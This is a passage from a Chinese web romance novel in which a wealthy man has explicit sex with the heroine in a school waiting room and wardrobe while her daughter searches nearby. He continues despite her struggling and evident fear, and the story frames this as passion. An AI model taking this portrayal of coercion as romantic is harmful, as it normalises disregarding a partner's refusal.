顾星延的粉丝都因为这则消息失去了理智,忍不住破口大骂,一时间闹得沸沸扬扬。 本来圣维尔校庆的热度就居高不下,出了这么一档子事情后,圣维尔校方的直播频道都被挤崩了。 更多的人因为这个新鲜大瓜而涌入直播间,全都紧盯着这场校庆。他们势必要看清楚,能让顾星延义无反顾爱上的大龄娃妈到底有何本事! 网络上的沸沸扬扬多少影响到了现实。 圣维尔校方立刻启动了紧急公关手段,与此同时,方氏的公关部大概也出手了,直接将网络上那些诋毁姜以柔的言论删得干干净净。 但即便处理及时,还是有一些短时间内难以消除的后果。 校庆原本马上就要开始了,现在却不得不推迟,因为有疯狂的粉丝向各种部门打了举报电话,强烈要求圣维尔学院换掉现在的家长代表。 张校长当然不会妥协,他特意找到姜以柔,认真地跟她说一定会处理好这件事,又给她找了一间单独的休息室,让她先在里面稍作休息。 等到校方处理好这些幺蛾子,校庆正式开始时,再来喊她上台。 姜以柔自然不着急,笑着送别了张校长后,自顾自在休息室里转了起来。 这间休息室挺大的,是一个套间,有一个待客的客厅,还有两个小卧室,里面甚至有张床,被收拾得干干净净。 如果姜以柔愿意,她甚至可以小睡一觉。 正当姜以柔打算进卧室休息会儿的时候,她的门被敲响了。 她打开门一看,门外是一脸焦急的顾星延。 姜以柔侧身让他进屋,先他一步开口笑道:“道歉就不必了,我不在意。” 姜以柔是真的不在乎那些网络上的中伤之语,她甚至懒得去看。 顾星延抿了抿唇,桃花眸中是显而易见的愧疚,他刚想开口说话,下一秒突然脸色一凛。 他快步走到窗边,把所有的窗帘都拉得严严实实,偌大的房间里瞬时暗了下来。 看来顾星延是被那些无孔不入的狗仔搞怕了,他确保挡得严严实实后,才转身望向姜以柔,刚想继续说话,却突然哽住了。 此时此刻,房间里一片昏暗,他只能隐隐约约地看到姜以柔。 她的轮廓有些模糊,那双潋滟莹亮的眸子却清晰可见,里面盛着盈盈的笑意。 她就像是黑暗中幽幽绽放的昙花,即便只能模糊地看见一个倩影,也足以让人心神颤动。 顾星延的话全堵在了喉咙中。 黑暗如此暧昧,似乎滋长了某些野心与冲动,顾星延怔怔地看着她,只觉得心跳越来越快。 顾星延深吸一口气,鼓起勇气向姜以柔迈步,可下一秒,门口处却传来一声开门的轻响。 沉重而急促的脚步声响起,姜以柔只觉得腰间一紧,然后一具滚烫的身体便贴上了她的后背。 有人在她耳边喷洒着灼热的气息,嗓音低沉而关切,“以柔,别怕……” 姜以柔微微一怔,认出了这是方隐年的声音。 他原本说工作忙,要在公司加班,现在……大概是知道了网上的那些事,所以匆忙赶来关心她。 方隐年按在她小腹的手紧了紧,那力道几乎要将她揉进身体里。与此同时,他微凉的唇轻轻印在了姜以柔的侧脸而耳朵,像是在安抚她,可那湿润的触感和滚烫的呼吸却仿佛又带着另一种意味。 姜以柔的表情一时间有些古怪,她摸索着伸出手,凭借记忆摸到墙面上的开关。 咔哒一声,屋内灯光大亮,所有情景都暴露在他们眼前。 方隐年从背后紧紧环着姜以柔,高大的身躯几乎将她完全笼罩,是一个亲密而占有欲十足的动作。 但是,在他们前方两步远的近处,顾星延就站在他们面前,皱眉紧盯着突然闯入的方隐年。 方隐年原本正埋首在姜以柔颈间,他似乎敏锐地察觉到了什么,缓缓抬首。 在看到顾星延的那一刻,他狭长的凤眸骤然眯起,溢出森冷的寒意。 第95章 待客室内, 沉默在三人之间蔓延,空气都几乎凝滞了,仿佛一汪暗潮涌动的深潭, 表面平静,内里却是惊涛骇浪的漩涡。 方隐年的双手仍揽在姜以柔细瘦的腰肢上,将她整个人环抱, 姿态亲密。 可是紧紧相贴的两人对面, 就是一脸错愕的顾星延。 场面一时间十分尴尬。 显然,因为顾星延拉上了窗帘, 房间里几乎不见亮光,所以方隐年进屋的时候,并没有注意到顾星延的存在。 否则以方隐年矜持内敛的性格, 不可能做出如此暧昧的动作。 姜以柔也是意识到了这一点, 才连忙开灯——生怕方隐年做些更过分的事情,那样岂不是尴尬? 姜以柔轻咳一声,握住方隐年扣在自己腰上的手,想要将那双铁臂扯下来。 然而, 在触到他的一瞬间, 那修长有力的手蓦地反扣住她的手腕。 方隐年面无表情地盯着顾星延,凤眸冷冽,手上却动作不停, 慢条斯理地滑入姜以柔柔软的掌心,强势地撑开她纤细的手指—— 缓慢却不容置喙地与她十指相扣。 在这个过程中, 方隐年冰冷的目光始终未离开过顾星延。 像是在明晃晃地宣誓主权。 顾星延神情微滞, 桃花眸中有一掠而过的寒意,但他很快就扬起一个温和得体的笑容,仿佛那一瞬间的失态只是错觉。 顾星延淡笑着伸出左手, 彬彬有礼地说道:“原来是方总,真是好久不见了。” 方家和顾家都是S市的豪门,两人认识也不稀奇。 不过,顾星延不知道有意还是无意,明明并不是左撇子,却刻意伸出左手。 如果方隐年要跟他握手的话,就必须松开那只与姜以柔十指相扣的手。 但很显然,方隐年不是任他摆布的性格。 他牢牢扣着姜以柔的手,凤眸冰冷地睨向顾星延,薄唇微启,寒声道:“滚。” 一想到在他来之前,姜以柔和这个男人单独呆在这间昏暗的屋子里,不知道在做什么,方隐年便几乎控制不住想杀人的冲动。 这句不客气的呵斥一出口,顾星延伸出的左手僵住了,他微微眯起眸子,脸上的笑意缓缓收敛。 连姜以柔都惊讶地转头看了方隐年一眼,似乎没想到向来骄矜稳重的方隐年,会突然说出这般无礼的话。 顾星延倒是不觉得尴尬,他慢条斯理地收回手,两手插兜,依旧是一副潇洒自如的姿态。 他有些无奈地看向姜以柔,语气里透着点无辜,问道:“姜小姐,我做错什么了吗?方总似乎对我有敌意……” 姜以柔望向方隐年的目光里也带着几分不赞同,她一边用力想要抽回自己的手,一边安慰顾星延道:“别理他。” 感受到姜以柔抗拒地想要远离他,方隐年面色微沉,攥着她的手也紧了紧。 片刻的沉默后,他深吸一口气,沉声解释道:“他只会给你带来麻烦。” 话落,刚才还好整以暇的顾星延立刻神情微滞,有些愧疚地抿了抿唇瓣。 他跟姜以柔认识的时间不长,接触的次数也不多,可却连累她两次被偷拍,被众多网友和他的粉丝们审判。 顾星延垂在身侧的手紧了紧,微垂的眼睫轻轻一颤,片刻后,他认真地抬眸望向姜以柔,语气诚恳道:“姜小姐,不管怎样,我还是要再跟你说一声抱歉。” “你放心,我一定会处理好这件事的,绝不会让我的粉丝影响到你……”顾星延急切地表态道。 姜以柔冲他温和地笑了笑,说道:“没关系的,不用太在意。” 姜以柔是真的不在乎这些。从她答应了要出席校庆开始,她就知道,接下来的生活不会太平静了。 而她早已经习惯。 可姜以柔的反应却让方隐年眸色骤沉。 没关系? 平时他稍微用点力弄疼了她,她都要气得揍人,一点儿委屈都不肯受,这时候倒是大度宽容起来了? 姜以柔到底为什么对这个男人如此特殊……方隐年不愿深想,只稍一触碰,便是一阵难以忍耐的心痛。 姜以柔可不知道方隐年心里的惊涛骇浪,只自如地跟顾星延谈笑。 虽然姜以柔反复强调她不在意,但顾星延不会因此便心安理得。 他再一次真诚地强调道:“姜小姐,你放心,我会为你这次的无妄之灾负责的。” 他会给予姜以柔一笔精神补偿,同时也会负责清除网络上的一切不良舆论。同时,他也愿意全权负责姜以柔的安全。 顾星延笑得温和,认真地说道:“姜小姐,我可以给你找一处绝对安全的住所,以保证你不被任何人骚扰,你愿意搬过去吗?” 他表现得一本正经,一副全然为了姜以柔着想的模样,但这个提议里是否带着私心……就不知道了。 闻言,姜以柔不动声色地挑了挑眉梢,对他的小心机心知肚明。 方隐年闻言更是怒火汹涌,几乎克制不住心底的戾气。 他冷冷地盯着顾星延,寒声警告道:“有我在她身边,不需要你多事。” 方隐年一语双关,在强势地向顾星延宣誓主权。 顾星延毫不避讳地直视方隐年,唇角轻勾,那副漫不经心的表情带着隐晦的挑衅。 这时,他手机轻震,收到了一条信息,看完消息后,他微微皱起眉头,不得不暂时离开去处理一些事情。 不过临走前,他满含深意地对姜以柔说道:“姜小姐,我上次说的话是认真的。” “我不在乎你身边有没有别人,只求你给我一个机会。” 顾星延那双深邃的桃花眼直勾勾地盯着姜以柔,眸中的温柔几乎能溺死人。 他的这番话可以说是明晃晃的挑衅方隐年了。 他在明示姜以柔,他不在乎她有没有男朋友,也不在乎做一个卑劣的插足者。 他只渴望能靠近她——不管以什么身份。 迎着顾星延深情执著的眼睛,姜以柔缓缓挑起眉梢,望向他的眼神里带着明显的笑意,一副很满意的模样。 姜以柔对他说话的声音都温柔了几分,轻声道:“顾先生,以后不要喊我姜小姐了,太生分。” 顾星延闻言眼睛一亮,不顾旁边方隐年阴沉的气场,紧紧盯着她,试探地说道:“那……以柔?” 姜以柔定定地看了他一会儿,蓦地展颜露出一个几乎令天地失色的美丽笑容,“嗯,星延。” 姜以柔的回应,让方隐年眸色骤厉,几乎像座即将爆发的火山。 顾星延则怔怔地看着他,心脏都几乎快要跳出胸膛。 这一刻,他只想不顾一切地抱住她,然后他脚步刚一动,就触上了一双冷得几乎掉冰碴的凤眼。 方隐年。 顾星延灼热的心脏冷了冷,微微眯起眸子瞪向方隐年,只觉得这个人无比碍眼。 手机再次震动起来,估计是张哥催他了,顾星延定了定心神,强行压下心底的冲动,很是不舍地对姜以柔笑道:“以柔,我们……” “来日方长。” 留下一句意味深长的话后,顾星延笑着离开。 出门前,他状似不经意地回身看了方隐年一眼,两人视线交错,都溢着毫不掩饰的冷意,仿佛战场上的敌人,恨不得将对方千刀万剐。 随着关门声响起,房间里只剩下了姜以柔和方隐年两个人。 姜以柔脸上的笑意缓缓褪去,不耐烦地挣了挣手掌,用命令的语气说道:“松手。” 方隐年静静地垂眸凝视她,将她冷淡的神情尽收眼底。 方隐年微微垂眸,狭长的凤眸深得看不出情绪,唇角却扯出一个有些冰冷的弧度。 为什么……她对别的男人都可以和颜悦色,对他就没什么好脸色呢? 方隐年深吸一口气,非但没有松手,反而越发握紧了她的手。他直勾勾地盯着她,哑声问道:“刚才……你们在做什么?” 在他还没来的时候,她和那个姓顾的男人,孤男寡女在一个房间里…… 他们在做什么?或者说,他们打算做什么? 闻言,姜以柔玩味地挑了挑眉梢,上下打量起方隐年。 这个男人实在很出色,外形无可挑剔,还有种高不可攀的距离感,那双清凌凌的凤眼睨过来时,总会点燃姜以柔心里的征服欲。 可惜的是……太无趣,也太古板了。 姜以柔是个没什么耐心的人,身边也从不缺优秀的男人,既然方隐年不肯咬钩,她也懒得费心思钓了。 于是,她淡淡一笑,那笑意却不达眼底,说道:“我和他做什么,跟你没关系。” 姜以柔看着方隐年,明明是仰视的角度,却偏偏带着股不屑的意味。 她嗓音娇柔,说出口的话却仿佛刀子一般,扎得人生疼,“方隐年,我给过你机会,是你自己不要的。” “我早就说了,不缺你一个男人。” 姜以柔用力抽手想要挣脱,挑衅般睨着方隐年,冷哼道:“我看顾星延就不错,长得帅又大方,等我改天就验验货……” 她双眸微眯,娇笑起来的模样像个勾魂的妖精。 她口中的“验货”是什么意思,也就不言而喻了。 方隐年沉默地盯着她,英俊的脸上不见丝毫波动,依旧是那副泰山崩于前而面不改色的平静。 甚至,他不再像之前那般紧握着她的手不肯放,这次姜以柔一挣就挣脱了他的束缚。 姜以柔有些惊讶地揉了揉手腕,满不在乎地转身往卧室走去,懒得跟他多费口舌。 但下一秒,强烈的失重感传来,姜以柔惊呼一声,手忙脚乱地揽住他的脖颈,一阵天旋地转后,她发现自己被方隐年提着腰放在了一个矮柜上。 【请点→】 姜以柔还未来得及反应,方隐年强壮灼热的身躯便欺了上来。 姜以柔眼前一黑,熟悉的檀香气将她包裹,唇被狂风暴雨般掠夺着。 方隐年将她整个人禁锢在他与墙壁之间,不留丝毫逃避的余地。 他辗转吻着姜以柔,动作有多亲密缠绵,那双眼睛就有多么幽深。 方隐年死死盯着她,狭长的凤眸中翻涌着近乎疯狂的情绪,如海浪般要将两个人一起淹没。 姜以柔被他亲得直皱眉,心里也很不爽,不由得用力揪他的头发,试图将他推开。 方隐年无视她的抗拒,灼热的吻一路下落,蜻蜓点水般印在她的侧脸、颈间,最后,他半蹲下身体。 方隐年单膝跪地,臣服般伏在她身下,薄唇…… 姜以柔身体一颤,下意识地眯起眼睛,反抗的动作都弱了几分。 方隐年毫不意外她的反应。 她就是个馋猫,给点儿甜头就软了身子。 方隐年握住她的腰,分外熟练。 他深深地埋首,慢慢加重了力道,仿佛要将先前从姜以柔这里受的所有气,以另一种方式还回去。 姜以柔猫儿似的叫了一声,颤着嗓子道:“轻、轻点……” 方隐年充耳不闻,甚至在她晃着腰肢想要躲避时,更加钳住她,让她动弹不得。 姜以柔这下彻底说不出话了,只知道呜呜地抽泣。 姜以柔正沉浸在一浪高过一浪的冲击中时,突然听到门外传来隐隐约约的脚步声和说话声。 “喂,你确定她在这里?” “张校说妈妈在待客室……你能闭嘴别吵吗?” “啧……” 年轻的声线,来自方镜麒和姜渔。他们似乎马上就要来到这个房间。 姜以柔瞬间心里一跳,她紧紧揪住方隐年的头发,颤抖的嗓音中带着惶恐的哭腔,“门……门没锁。” 然而,无论她怎么抗拒挣扎,方隐年始终没有放开她。 强烈的紧张感席卷而来,姜以柔几乎喘不过气,脊背猛地上窜的酥麻感仿佛过电一般。 姜以柔浑身剧烈地颤抖起来,她喉咙里溢出一声短促的尖叫,很快又死死咬住唇瓣,只从唇缝里泻出细微的喘息。 姜以柔两眼失神,就这样在极致的紧张中抵达了。 她的脑子都转不动了,只剩下一个念头—— 方隐年这个混蛋! 门外的脚步声越来越近,姜以柔的眼角溢出一行清泪,不知是因为害怕,还是因为太过爽快。 要是被便宜闺女看到这一幕……她一定要杀了方隐年这个狗东西! 姜以柔轻轻抽泣着,想揍人,却提不起一点儿力气。 就在那脚步声近在咫尺,似乎马上要将门打开时,方隐年终于直起身体,一把托起姜以柔。 他像是抱小孩子一般单臂托起她,让她靠在自己怀中。 然后,方隐年随手扯过旁边的一块装饰布巾,擦了擦矮柜上的那片水痕。 紧接着,在姜渔和方镜麒推门而入之前,方隐年抱着姜以柔闪身进了最近的一间卧室。 不过,他并没有关上卧室门,而是带着姜以柔躲进了卧室的大衣柜里。 姜以柔还没来得及反应,眼前就一片黑暗了。 衣柜里空间狭小,她被方隐年揽在怀里,几乎没有什么活动的余地。 就在这时,外面的房门被猛地推开,方镜麒的声音传来,“姜以柔,你在哪儿?” 紧跟着是姜渔充满担忧的声音,“妈,你在吗?你没事吧?” 他们两个当然也知道了网友们对姜以柔的攻击,不由得担心她的心理状态,便特意来安慰她。 谁知打开待客室后,里面竟“空无一人”。 姜渔皱了皱眉头,有些不满地嘀咕道:“张校明明说过让她在这里等着呀,她又乱跑什么,不知道外面很危险吗……” 方镜麒漫不经心地打量着这间待客室,抬腿朝两间卧室走去,他一边靠近一边扬声问道:“姜以柔,你在吗?” 姜以柔躲在衣柜里,听着方镜麒越来越近的沉重脚步声,心脏瞬间狂跳起来,她身体紧绷,忍不住全神贯注地听着外面的动静。 就在这时,姜以柔突然察觉到了一丝异样。 有只滚烫的大手探入。 姜以柔只觉得身后一重,她被方隐年牢牢压在了衣柜上,前面是冷硬的木板,后背却贴着方隐年灼热宽厚的胸膛。 下一秒,姜以柔猛然睁大了眼睛,潋滟的眸中竟显出几分惊恐。 她感受到了,他缓慢却强势…… 姜以柔头皮发麻,惊得几乎尖叫出声。 这时,方隐年及时抬手,捂住了她的唇。 方隐年凑到她耳边,炙热的呼吸喷洒在她颈侧,带起一阵战栗。 他微哑的嗓音很轻,却透着股仿佛来自幽冥的冷意,“嘘——” “想要的话,就别出声。” 姜以柔动弹不得,被迫承受着,衣柜外却是方镜麒越来越近的脚步声。 姜以柔几乎昏过去,浑身抖个不停。 方隐年这个疯子! 第96章 姜以柔从未如此崩溃过。 她也不知道怎么回事, 莫名其妙地被迫藏身于狭窄的衣柜中,身前是冰冷的硬木板,背后却是方隐年宽厚炙热的胸膛。 那具结实强壮的身体极有压迫感, 几乎将她肺里的空气都榨了个干净,让她有些喘不过气来。 当然,姜以柔也根本不敢动。 因为外面就是方镜麒和姜渔这两个难缠的高中生, 他们正到处“搜查”着这间待客室, 试图在房间里找到她的身影。 姜以柔浑身僵硬,像只受惊的兔子一般警惕又恐惧, 生怕制造出一丁点儿动静,从而暴露出自己的行踪。 姜以柔知道自己现在是一副什么模样。 【1】 那条由她精挑细选出的黑色礼裙已经被方隐年这个狗东西扯坏了,衣服松松垮垮地不成样子, 她现在不仅一身狼狈, 那泛红的面色也无声地透着暧昧,根本见不了人。 更何况她和方隐年还躲在狭小的衣柜里,他们这个特殊的处境,以及这个难堪的姿态, 摆明了做贼心虚, 任谁都看得出来他们刚经历过什么。 如果被姜渔和方镜麒这两个未成年小屁孩亲眼看到她这副模样……姜以柔简直想死的心都有了! 衣柜里狭窄而昏暗,连空气仿佛都黏稠了几分,让姜以柔直感觉喘不过气。她什么都看不见, 这种情况下,其他感官反而更加敏锐了。 姜以柔浑身紧绷地呆在衣柜里, 动都不敢动一下, 生怕发出一丁点儿动静惊动了外面的两个人。 这还是她第一次无心享受快乐的余韵,从大脑到身体都高度紧张,全神贯注地听着衣柜外的脚步声。 然而, 就在她紧绷得像一张拉满的弓弦时,方隐年做了一个让她几乎尖叫出声的动作。 方隐年膝盖微抬,他一手捂住她的嘴巴,另一只手勾住她的腰肢,紧贴着她后背的身躯微微一沉。 姜以柔猛地瞪大了眼睛,几乎不敢相信此时发生的事。 姜以柔瞬间头皮发麻,差点惊呼出声,所有声音却被捂在嘴上的那只大手堵了回去。 她开始不受控制起来,眼角的泪珠像是断了线的珠子一般不停落下,不知是因为害怕,还是因为那股难以拒绝的灭顶之感。 外面的脚步声越来越近了,方镜麒已经走进了这间小卧室,开始四处搜寻起来。 他一边漫不经心地四处逛着,一边还高声喊了起来,“姜以柔,你在吗?应我一声啊!” 亲耳听着那脚步声越来越近,姜以柔脑海里瞬间警铃大作,强烈的惧意让她不受控制地绷紧了身体,整个人都忍不住轻轻发颤。 方隐年身形一滞,喉间不由得溢出一丝压抑的闷哼。 他的嗓音醇厚而低沉,此时带着一丝哑意,连喘息声都那么撩人。 姜以柔背对着方隐年,所以看不见他此时的表情有多么可怕。 那双狭长的凤眸再不见一丝清冷自持,已然坠入幽暗的深渊,他英俊的脸上沾着汗意,有一种潮湿的野性,额角迸起的青筋昭示着他的隐忍。 姜以柔太紧张了,以至于全身紧绷,方隐年同样身形紧绷,压抑又难捱。 他停住身形缓了缓,调整了下乱掉的呼吸,竟然硬生生稳住了。 要知道方隐年可是第一次,还是个憋了三十多年的老男人,这种情况下竟然能忍住,还真算得上天赋异禀。 方隐年最后眸光一沉,紧紧抱住她,终于…… 他双手缓缓用力箍住她,似乎恨不得将她融进骨血中,一辈子都不分开。方隐年脑袋微垂在她脸侧,急促的呼吸带着灼热的温度,落在姜以柔脖颈间,带起一阵战栗。 他缓缓闭了闭眼睛,发出一声微不可闻的满足喟叹。 终于,他彻彻底底地拥有了她。 方隐年再睁开眼睛时,那双凤眸中是近乎诡异的平静,可此时的他越是冷静,就越有种沉默的疯狂。 他知道,他已经彻底没了回头路。 守了三十多年的清规戒律和所谓的道德底线,在她面前终究是不堪一击。 可他甘愿沉沦。 方隐年垂首在她颈侧轻轻印下一个吻,像是在宣誓他的臣服。 然后,他开始轻轻地轻轻起来。 姜以柔顿时惊恐地瞪大了眼睛,忍不住轻轻挣扎起来。 方隐年真的疯了! 她本以为方隐年会顾及外面的人,能暂时消停一会儿,却没想到他胆大至此! 外面方镜麒和姜渔的走动声和交谈声如此清晰,他竟然就这么不管不顾,简直胆大包天,让人恨得牙根痒痒! 姜以柔害怕得身体一阵颤抖,她不敢大幅度地挣扎,那轻得跟小猫一样的反抗又根本不被方隐年看在眼里。 他轻而易举地钳制住她。 他凤眸幽深,充斥着近乎嗜血的暗色。 姜以柔恨不得昏过去,却又不敢,只能紧绷着神经,眼前一阵阵发黑。 当然,方隐年也不是完全的无所顾忌,他很轻很缓,几乎没有发出什么声音,只有很浅很浅的细微声音,全都被掩藏在衣柜中。 然而有时候,越是缓慢,就越是一种折磨。 尤其是在四周漆黑一片的时候,感官会更加清晰。 姜以柔只觉得头皮发炸,被这么不上不下地吊着,她的理智仿佛都被一寸寸碾碎了,简直想不顾一切地大叫出声。 可偏偏方隐年似是早有预料,她根本发不出一丁点儿声音。 于是,姜以柔的哭叫全都闷在身体里,越积越多,几乎要爆开,将她整个人吞没。 她脆弱的神经,在方镜麒和姜渔一起走到这间小卧室,甚至就停在这个衣柜前面时,几乎崩断。 “喂,你有没有听到什么奇怪的声音?”方镜麒略带疑惑的声音响起。 年轻英俊的少年歪了歪头,微微眯起的凤眸有些凌厉。 “什么声音?”姜渔心不在焉地问道。 “就是……”方镜麒蹙了蹙眉,话语又顿住了,面上显出几分沉思之色。 他也不知道该怎么形容,反正就是很奇怪的声音,但很轻很轻,又仿佛是他的错觉。 方镜麒的目光莫名落在了卧室里的那个衣柜上,他鬼使神差地朝那间衣柜走去。 听到方镜麒近在咫尺的脚步声,姜以柔眼前一黑,差点昏厥。 她气得身体狂颤,这一刻,是真的很想杀了方隐年这个混蛋! 方隐年仿佛感受不到她的紧张和抗拒…… 方隐年微微一怔,本就充斥着血色的凤眸越发幽深,喉结急促地滚动起来。 …… 然而,方隐年随手的一个动作仿佛瞬间打开了什么开关。 刚才还浑身发软,只能挂在方隐年手臂上的姜以柔,突然像是离水的鱼一般猛地弹了起来。 方隐年同样一惊,连忙箍住她。 姜以柔发狠般死死咬住方隐年堵住她嘴巴的那只手,整个人抖如筛糠。 感觉猛地炸开,沿着脊背猛然蹿升,让她眼前一黑,几乎连心跳都停滞了。 外面越来越近的脚步声,狭小的衣柜,缺氧窒息的感觉,不合时宜的场景……这一切的一切,对姜以柔来说都太超过了。 姜以柔简直被这恐怖的感觉折磨疯了。 她眼角溢出汹涌的泪水。她只觉得身体都不是自己的了…… 姜以柔就这样猝不及防间,因为方隐年随手的一个动作,而…… 姜以柔一双美丽的眸子茫然失神,方隐年呼吸一紧,重重地吐出一口气。 姜以柔恍惚间听到了一些声音。 一些让她恨不得离开这世界的声音。 强烈的羞耻和恐慌瞬间将她淹没—— 完了,他们一定会听到的! 姜以柔心脏一阵紧缩,身体一软,竟然直接失去了意识。 方隐年微微一怔,下意识地揽住她的身体。 而衣柜外,就在方镜麒越来越近,似乎要将衣柜打开时,他衣兜里的手机恰到好处地响了起来。 清脆的电话铃声盖住了衣柜里细微的声音,也转移了他的注意力,方镜麒并未发现异样。 方镜麒接起电话,皱眉回应了几句,然后便冲着姜渔扬声喊道:“喂,我们先走吧,一会儿再来找她,她现在出去了。” 姜渔半信半疑地朝他走去,问道:“你怎么知道?” “刚有人打电话告诉我的……” 说着,两人便一起作势要离开这间屋子。 至于那位通知方镜麒的“好心人”,自然是方隐年安排的调虎离山之计。 就在姜渔即将踏出房门时,她迟疑地停下了脚步,低头看了眼手里的袋子。 这是她同学强行塞给她的,里面是她同学亲手设计的礼服,说是以她妈妈为灵感缪斯做的设计,说什么都要送给她。 姜渔没办法,只能答应她会转交。 姜渔想了想,干脆把这个纸袋放在了待客室的沙发上。等一会儿姜以柔回来,自然能看到这件礼服,至于穿不穿……就随她吧。 放下衣服后,姜渔便和方镜麒一起离开了待客室。 随着外面的关门声响起,待客室里恢复了安静。 过了一会儿,衣柜门被猛地推开,方隐年缓缓从姜以柔身体里退出来,抱着失去意识的她踏出了黑暗闷热的衣柜。 方隐年将她放在卧室的床上,眉头深锁,漆黑的凤目中满是担心。 他刚才的确被姜以柔气得不轻,但他心里所有的怒火已经随着方才那场酣畅淋漓的……一起发泄出去了。 现在他对着姜以柔再难升起一丝一毫的火气,心里只有无尽的怜爱。尤其是看到她不省人事的模样,更是多了几分担忧。 他轻抚着姜以柔的面颊,低声唤道:“以柔?以柔……” 不知为何,姜以柔像是坏掉了一般,只要他轻轻触碰她的身体,哪怕她紧闭着眼睛,身体也会不受控制地轻颤。 看来,这次的刺激对她来说,确实太超过了。 方隐年是第一次开荤,从未想过会遇到这种情况,难得有些无措。 看着姜以柔紧闭的双眸,他不由得心里一紧,立刻掏出手机就要喊医生过来。 好在他电话还没来得及拨通,姜以柔就轻哼一声,缓缓睁开了眼睛。 方隐年立刻俯身,轻柔地摸着她的脸,低声问道:“你怎么样,哪里不舒服?” 姜以柔的眼神有些空洞,过了好一会儿才缓缓聚焦。她愣愣地看着方隐年的脸,半晌才渐渐回过神来。 她死死盯着方隐年那张可恶的脸,娇美的脸蛋瞬间涨起一片又羞又怒的绯红。 她用尽全身力气抬手,狠狠一巴掌扇在他的脸上,娇滴滴的嗓音里还带着颤抖的哭腔: “方隐年,你去死!” 第97章 姜以柔生平第一次有种羞愤欲死的冲动。 一回想起刚才的失控, 她气得眼睛都红了,扬手便朝方隐年的脸扇去。 然而她整个人几乎脱力,哪怕用尽全身力气, 巴掌落在方隐年的脸上时,也轻飘飘跟小猫挠得一样。 方隐年不闪不避,默默地受了这一巴掌, 甚至还抓住她的手掌, 偏头在她掌心落下一个轻吻。 姜以柔怒瞪着他,用力想要抽回自己的手, 却被方隐年抓着不放。 这一瞬间,那种被方隐年牢牢掌控着的感觉再次袭来,她仿佛又回到了刚才在衣柜里, 叫天天不应叫地地不灵, 只能被迫承受一切的状态。 姜以柔身体不自觉一抖,眼眶迅速红了。 她抿唇倔强地瞪着方隐年,泪珠却像断了线的珠子般接连落下,这副无声落泪的模样, 实在娇柔又可怜。 方隐年微微一怔, 瞬间有些心慌。他反身坐到沙发上,然后把姜以柔拦腰抱起,轻柔地放在自己的腿上。 他像是抱小孩一般把姜以柔揽在怀中, 有些笨拙地抚着她的后背,低声哄道:“哭什么……” 姜以柔哭得浑身发抖, 真恨不得揍死他。 她为什么哭, 难道方隐年这个狗东西不知道吗?! 她从来没这么丢脸过…… 姜以柔把脸埋进他宽厚的胸口,气得一口咬了上去。 方隐年身体一僵,默默垂眸看向自己的右手。 他的右手虎口处鲜血淋漓, 也是在衣柜里时被姜以柔狠狠咬住。 方隐年低头看着她,胸口处传来明显的刺痛,他却根本不在乎,只紧紧盯着姜以柔那双因愤怒而潋滟的眸子。 方隐年喉结微滚,呼吸不自觉粗重了几分。 姜以柔本意是想狠狠咬他,让方隐年这个混蛋长点记性,以后不敢再做这种过分的事,然而下一秒,她就愣住了。 她此时正被方隐年侧抱着放在腿上,她清晰地感觉到…… 姜以柔这下更气了,猛地推了他一把,恶狠狠地瞪着他。 方隐年静静地回视她,目光坦然,丝毫不为自己的反应感到羞耻。 他反而轻轻勾了勾唇,意味深长地笑道:“之前不是骂我没用吗?现在……你又不喜欢?” 姜以柔闻言微微一愣,一时间竟被堵得说不出话来。 她咬紧了牙关了,气得胸口剧烈起伏。 如果她早知道方隐年是条疯狗,她说什么都不会招惹他! 方隐年看着她气到花枝乱颤的美景,眸光瞬间幽深起来。 他抬手按住她的后脑,毫无预兆地俯身,凶猛地攫住了那双红肿的唇。 姜以柔的呼吸再次被掠夺,熟悉的窒息感传来,瞬间将她带回了那个黑暗狭窄的衣柜。 姜以柔本能地开始浑身颤抖,眼角再次溢出汹涌的泪水,红唇溢出模模糊糊的呜咽,好不可怜。 方隐年被她的眼泪烫得身形一滞,终究是停下了动作。 他微喘着放过了她,垂眸看着姜以柔红肿的泪眼,良久,有些无奈地轻叹一声。 他抬手擦去她面上的泪痕,低声道:“别哭,我不会再乱来了。” 姜以柔一边流泪,一边恶狠狠地瞪着他。 方隐年但凡再敢乱来,她真的要杀了这个狗东西! 方隐年选择性无视了她抗拒的目光,抱着她站起身来,径直往卫生间走去。 姜以柔顿时有些紧张地蹬了蹬腿,颤声质问道:“你要做什么?” 方隐年面色平静,又恢复了平日里那副内敛矜持的模样,再不见方才的狠劲儿和疯狂。 他垂眸睨她一眼,轻声道:“帮你清理一下。” 这里只有简单的淋浴,可姜以柔腿软得连站都站不稳,方隐年只能抱着她一起洗。 方隐年眼瞳微颤,刻意偏过头,不敢再看一眼。 温热的水流打湿了姜以柔的身体,她的身体还残存着余韵,稍微一点刺激便让她控制不住地颤抖起来。 这成了折磨人的利器,一场澡洗得她格外难受。 当然,方隐年同样忍得辛苦,他额上全是汗珠,鬓发都被浸湿了。 手边没有毛巾,方隐年便直接将她抱到床上,用被子裹了起来。 姜以柔躺在床上,一根手指都不想动,怔怔地看着天花板。 突然间,她像是想起了什么,猛地瞪向方隐年,怒声道:“我一会儿还要出席校庆呢,现在……你让我怎么去?!” 姜以柔从被子里伸出手,胡乱地拍在方隐年的脸上,气得声音骤然拔高:“你要是害我在那样的场合出丑……” “方隐年,你这辈子都别想碰我了!”姜以柔恨恨地直咬牙。 她现在就是后悔,特别后悔。 早知道方隐年这么疯,她就不会总是撩拨他、戏弄他了,现在倒好,把自己玩进去了。 她要是以这副鬼样子上台,那她还不如一头撞死算了! 听到她放下的狠话,方隐年眸光微沉,猛地抓住了姜以柔拍打在他面上的手。 姜以柔心里一紧,生怕他再次发疯,但还是强撑着瞪着他,不想示弱。 方隐年神情平静地垂眸盯着她,凤眸深不见底,明明没有发怒,却莫名让人胆寒。 他最听不得姜以柔不要她,哪怕是随口说说,也不行。 不过,看着姜以柔这副模样,方隐年终究还是放过了她。他轻轻叹了口气,将姜以柔的手塞回了被子里,沉声道:“你先睡一觉吧。” 姜以柔被他强硬地塞回被子里,想起身也被摁住,不由得不满地说道:“睡什么?马上校庆要开始了,我都答应了出席,难不成临阵逃脱?” 她知道网上有很多人等着看她的笑话,但姜以柔可从来没打算逃避。要是她就这么认怂,那些流言蜚语只会愈演愈烈。 方隐年定定地看着她,轻声解释道:“校庆本来就推迟了,我会让人把你出场的环节安排在最后,不会耽误的,放心睡吧。” 顾星延的粉丝疯狗一样到处咬人,轮番打电话举报,导致校庆不得不推迟,现在还没能开始。 而圣维尔的校庆至少持续三个小时,如果把姜以柔的出场环节挪到最后,那么姜以柔至少还有三四个小时的休息时间,足够她休息一下调整状态。 